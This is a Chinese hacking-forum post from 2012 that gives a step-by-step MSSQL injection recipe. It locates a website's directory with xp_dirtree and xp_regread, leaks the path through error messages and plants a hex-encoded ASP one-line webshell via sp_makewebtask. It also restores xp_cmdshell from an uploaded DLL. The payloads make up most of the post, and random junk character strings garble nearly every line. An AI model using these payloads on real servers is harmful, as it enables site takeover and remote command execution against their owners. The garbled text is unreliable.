中国网络渗透测试联盟
标题:
MSsqlL注入取得网站路径最好的方法
[打印本页]
作者:
admin
时间:
2012-9-13 17:20
标题:
MSsqlL注入取得网站路径最好的方法
好,我们exec master..xp_dirtree'd:/test'
( M8 W3 L" F% H& j" a+ L7 [, y" R' v
假设我们在test里有两个文件夹test1和test2在test1里又有test3
( x* @ ?. J) Y( n) K
结果显示
, X" V1 w6 S; ~+ r/ J
+ B' e# n, l" X" m2 R# C! A; ?
subdirectory depth
% \+ ^, U+ C. {. A; @& }2 e3 u; ]
test1 1
1 A: z9 l( P0 d. @% @& Q5 @$ E; z }
test3 2
5 l; H E" Q6 B: ^) d
test2 1
% d7 [, X/ m# E3 i& W% ?! V
8 u- _2 I5 b) ?% d& H
哈哈发现没有那个depth就是目录的级数
* Y6 _- Q" g4 [" l* F1 T% k
ok了,知道怎么办了吧
. D; A- n `/ P- N+ P
) w$ f/ u, H* ^7 U8 A
http://www.xxxxx.com/down/list.asp?id=1;create
table dirs(paths varchar(1000),id int)--
6 y, j8 d5 T* m* W/ `
http://www.xxxxx.com/down/list.asp?id=1;insert
dirs exec master.dbo.xp_dirtree 'd:\' --
0 ?4 J+ b. _* n4 z, V
http://www.xxxxx.com/down/list.asp?id=1
and 0<>(select top 1 paths from dirs where id=1)-
" x8 w/ k; |- i* R8 I! P8 F5 O& ~
/ d* I, C% h5 P ]2 v% d
只要加上id=1,就是第一级目录 。
# C2 i7 F9 |* d3 d8 J, L
+ M1 |; X% d& @ Q' j* A# J
g& b4 l5 @( T# ?/ B# _
通过注册表读网站路径:
+ w& R S% u) i h
. i% Z1 p* T) N7 {0 ?" U$ k6 v9 g
1.;create table [dbo].[cyfd] ([gyfd][char](255));
# ?0 ^4 t1 Y9 s$ G
6 T3 m( w- \, q
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--
, u* n; Z# [/ R6 d" U
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--
# a t/ U3 |' C" t$ q6 P
* K% x8 W$ b) K9 s: |- f) h& k! f3 k
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
7 D, D# m d1 s/ F/ s H
and 1=(select count(*) from cyfd where gyfd > 1)
! R# V) q' r. w1 ?6 ~# s+ G: i
这样IE报错,就把刚才插进去的Web路径的值报出来了
* ]' Q# a6 w+ u) e' \6 D
9 m8 J7 M# {" S$ W
4.drop table cyfd;-- 删除临时表
% X5 T4 g- Y. R, s- S9 Z
/ O. W- a" b4 {2 N" p
获得webshell方法:
) v3 P! C: H8 Z+ f" q! J
1.create table cmd (a image)-- \**cmd是创建的临时表
9 r' M# o! S! C3 V# M! a9 }: ~3 J
5 m! U2 ^' B7 |! w$ j n
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
6 ~( @4 y# b; [
" t M* _& l T) C# U% I
8 _0 b6 O* O( b( x& D
3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'
( `6 M8 z5 Y. d* [+ V; f
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
7 K+ c; ]% b# f n
* ~6 g0 Y# ^ Q3 ^
4.drop table cmd;-- 删除cmd临时表
5 d: s/ X! n7 g
# m$ l2 G5 A) `
恢复xp_cmdshell方法之一:
( v" a2 D: |; a& [* L
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:
4 O2 r8 M$ O/ c& u+ W7 ~; L0 h5 h8 Y5 c' s
http://www.something.com/script.asp?id=2;EXEC
master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'
N& Y ? l# C
恢复,支持绝对路径的恢复哦。:)
E) \! H+ x6 i& {0 e/ U
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2